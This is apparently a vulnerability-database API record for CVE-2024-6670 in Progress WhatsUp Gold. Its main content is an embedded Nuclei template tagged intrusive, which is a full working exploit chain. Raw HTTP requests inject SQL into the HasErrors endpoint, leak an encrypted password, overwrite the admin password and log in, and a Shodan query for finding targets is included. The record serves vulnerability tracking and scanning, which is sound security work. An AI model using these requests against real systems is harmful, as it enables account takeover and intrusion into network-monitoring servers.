{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2024-6670/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2024-6670/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2024-6670/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2024-6670/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2024-6670/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2024-6670"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2024-6670"
    }
  },
  "enrichments": {
    "nuclei": {
      "nuclei": true,
      "nuclei_template": "http/cves/2024/CVE-2024-6670.yaml",
      "nuclei_template_severity": "critical",
      "nuclei_template_yaml": "id: CVE-2024-6670\n\ninfo:\n  name: WhatsUp Gold HasErrors SQL Injection - Authentication Bypass\n  author: DhiyaneshDK,princechaddha\n  severity: critical\n  description: |\n    In WhatsUp Gold versions released before 2024.0.0, a SQL Injection vulnerability allows an unauthenticated attacker to retrieve the users encrypted password.\n  impact: |\n    Unauthenticated attackers can exploit SQL injection to retrieve encrypted user passwords, modify admin credentials, and achieve authentication bypass for full system access.\n  remediation: |\n    Update WhatsUp Gold to version 2024.0.0 or later to address the SQL injection vulnerability.\n  reference:\n    - https://github.com/sinsinology/CVE-2024-6670\n    - https://community.progress.com/s/article/WhatsUp-Gold-Security-Bulletin-August-2024\n    - https://www.progress.com/network-monitoring\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2024-6670\n    cwe-id: CWE-89\n    epss-score: 0.93\n    epss-percentile: 0.99828\n    cpe: cpe:2.3:a:progress:whatsup_gold:*:*:*:*:*:*:*:*\n  metadata:\n    verified: true\n    max-request: 4\n    shodan-query: title:\"WhatsUp Gold\" http.favicon.hash:-2107233094\n    product: whatsup_gold\n    vendor: progress\n  tags: cve,cve2024,whatsup-gold,auth-bypass,sqli,intrusive,kev,vkev,vuln\n\nflow: |\n  http(1);\n  http(2);\n  http(3);\n  encryptedPassword = template.encryptedPassword\n  const cleanedInput = encryptedPassword.replace('psyduck', '').match(/\\d+/g);\n  const hexValues = cleanedInput.map(value => {\n    const num = parseInt(value);\n    return isNaN(num) ? '00' : num.toString(16).padStart(2, '0');\n  });\n  log(hexValues);\n  const hexString = hexValues.join('');\n  const varbinaryString = '0x' + hexString;\n  set(\"encryptedPassword\", varbinaryString);\n  http(4) && http(5);\n\nvariables:\n  username: \"admin\"\n  password: \"{{to_lower(rand_text_alpha(8))}}\"\n\nhttp:\n  - raw:\n      - |\n        POST /NmConsole/WugSystemAppSettings/JMXSecurity HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n\n        {\"KeyStorePassword\": \"{{password}}\", \"TrustStorePassword\": \"{{password}}\"}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - status_code == 302\n          - contains(set_cookie, 'ASP.NET_SessionId=')\n        condition: and\n        internal: true\n\n  - raw:\n      - |\n        POST /NmConsole/Platform/PerformanceMonitorErrors/HasErrors HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n\n        {\"deviceId\": \"22222\", \"classId\": \"DF215E10-8BD4-4401-B2DC-99BB03135F2E';UPDATE ProActiveAlert SET sAlertName='psyduck'+( SELECT sValue FROM GlobalSettings WHERE sName = '_GLOBAL_:JavaKeyStorePwd');--\", \"range\": \"1\", \"n\": \"1\", \"start\": \"3\", \"end\": \"4\", \"businesdsHoursId\": \"5\"}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - status_code == 200\n          - contains(content_type, 'application/json')\n        condition: and\n        internal: true\n\n  - raw:\n      - |\n        GET /NmConsole/Platform/Filter/AlertCenterItemsReportThresholds HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - status_code == 200\n          - contains(body, 'DisplayName')\n        condition: and\n        internal: true\n\n    extractors:\n      - type: regex\n        internal: true\n        name: encryptedPassword\n        regex:\n          - '\"psyduck\\d+(,\\d+)*\"'\n\n  - raw:\n      - |\n        POST /NmConsole/Platform/PerformanceMonitorErrors/HasErrors HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n\n        {\"deviceId\": \"22222\", \"classId\": \"DF215E10-8BD4-4401-B2DC-99BB03135F2E';UPDATE WebUser SET sPassword = {{encryptedPassword}} where sUserName = 'admin';--\", \"range\": \"1\", \"n\": \"1\", \"start\": \"3\", \"end\": \"4\", \"businesdsHoursId\": \"5\"}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - status_code == 200\n          - contains(body, 'false')\n        condition: and\n        internal: true\n\n  - raw:\n      - |\n        POST /NmConsole/User/LoginAjax HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        username={{username}}&password={{password}}&rememberMe=false\n\n    matchers:\n      - type: word\n        part: body\n        words:\n          - '\"authenticated\":true'\n          - '\"username\":\"'\n        condition: and\n\n    extractors:\n      - type: dsl\n        dsl:\n          - '\"USER: \"+ username'\n          - '\"PASS: \"+ password'\n# digest: 4b0a00483046022100b7eb73a82139b2152d2f1ac06c31c484c8ce68b31d406aa1a8b32b545ea7e49a022100a70f4e76d5e469380133dbd2b34e4e4937a7194426b019ea1afede6758efdf6b:922c64590222798bb761d5b6d8e72950"
    }
  },
  "vuln_id": "cve-2024-6670"
}